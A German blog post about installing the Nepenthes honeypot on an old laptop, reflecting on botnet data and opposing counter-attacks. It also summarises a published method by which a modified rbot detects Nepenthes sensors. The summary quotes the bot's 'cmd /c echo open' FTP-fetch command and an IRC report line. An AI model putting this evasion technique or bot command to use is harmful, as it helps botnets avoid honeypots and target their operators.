GlasBlog

Ich habe einen schon etwas betagten Omnibook 5500CT in meine Finger bekommen.
Nachdem ein Linux Grundgerüst erfolgreich installiert war, der Kernel neu kompiliert und die Netzwerkverbindung über eine PCMCIA Netzwerkkarte stand, konnte ich ihm Nepenthes näher bringen.

Ich entschied mich für die svn-Version. Diese habe ich auch auf einem anderen Sensor eingerichtet und bisher keine Probleme gehabt.

Nach der Installation von Subversion habe ich mir die neuste Source geladen und mit folgendem Ergebnis compiliert:

Packet Monitoring/Sniffing
linux ip_queue (ipq) : yes
FBSD ipfw Divert sockets : no
Packet Capture Lib (pcap) : yes

Das ip_queue Kernel-Modul wurde geladen und Nepenthes gestartet.

Nun wurde die dem Omnibook zugewiesene IP im Modem noch als Exposed-Host eingetragen, wir wollen ja nichts verpassen.

So, die Kiste steht, Nepenthes läuft und ich kann mich bequem zurücklehnen.

Was wir haben: Zum einen besitzen wir eine immer mehr automatisierte Informationsquelle, zum andren eine immense Flut an Informationen. Diese werden sortiert und zum Beispiel durch Mechanismen wie die Sandbox ausgewertet.

Es verbleiben Informationen wie: Wer und was hat uns angegriffen, wie geht er vor und wo finden wir ihn. Ansätze wie Botspy lassen nun tiefgehender Informationen zu: Systematik, Umfang und Verwaltung des Botnets.
Ab diesem Punkt haben wir jede Menge Informationen, doch was bringt uns dies? Wir müssen diese Informationen aufbereiten, ordnen, prüfen und auswerten. Rechtliche Schritte könnten folgen. Oder wie legen selbst Hand an und verlassen dadurch den legalen Bereich.

Der C&C Server stellt das Herzstück der meisten Botnets dar, fällt dieser aus oder wird das Ziel eines Angriffs, kann ein großes Netzt innerhalb kurzer Zeit massiv gestört werden. Doch wie können wir etwas unterbinden, was rechtlich kaum verfolgbar ist?
Eine andere Möglichkeit wäre das passiv Verwendet der gewonnenen Informationsflut. Abwehrmechanismen, Kontrollmöglichkeiten, viele Gebiete können konstruktive profitieren.
Manche mag es schmerzen in die passive Position gedrängt zu werden, doch an einen offenen Schlagabtausch oder an Methoden wie die „Spiegel-Funktion“ von Honeytrap möchte ich eigentlich nicht denken. Ich halte sie für so sinnvoll wie eine IP Blacklist. Wir können ein Übel nicht durch Ausschluss oder blindem Gegenschlag entgegen treten, zum einen werden wir es dadurch niemals beseitigen, zum anderen generell auch Unbeteiligte oder Opfer treffen. Das die meist eine Teilschuld tragen erlaubt uns nicht sie auszuschließen.

Wie bereits im Artikel Nepenthes Blackliste? berichtet, gab es eine Möglichkeit einen Nepenthes Sensor automatisch zu erkennen. Die Vorgehensweise wird hier kurz umrissen: GROSPOLINA.ORG, weitere Informationen: nepenthes.mwcollect.org ( June 28th 2007 ).

Ich übersetze frei und möglichst sinngemäß:

1. Nepenthes simuliert einen Computer mit Sicherheitslücken.
2. Wir überlegen uns, was Nepenthes von einem realen Computer unterscheidet.
3. Wir “greifen” Nepenthes mit einem präparierten Wurm an.
4. Sollte dieser einen Nepenthes Sensor entdecken, sendet er die IP an eine Blacklist.

Nepenthes hatte die Funktion local IPs in shell commands mit der IP des Angreifers zu ersetzen.

replace_local_ips “1″;

Um dies auszunützen wurde in der Beschreibung ein gewöhnlicher rbot verwendet. Dieser soll nun folgenden Befehl ausführen:

"cmd /c echo open 172.16.1.210 %d >>

Und hier sollte dann replace_local_ips zuschlagen.
Aus z.B. 172.16.1.210 mach Nepenthes eine externe IP-Adresse.
Sollte dies wirklich der Fall sein, lassen wir uns eine kleine Nachricht zukommen:

sprintf(sendbuf,"Found Nepenthes at %s", tmpip);
send to IRCLINE

Und das war es schon. Mit wenig Aufwand ist es uns möglich einen Nepenthes-Sensor zu erkennen. Dieser kann nun in eine Blacklist aufgenommen, Opfer einer DoS Attacke oder anderweitig geschädigt werden.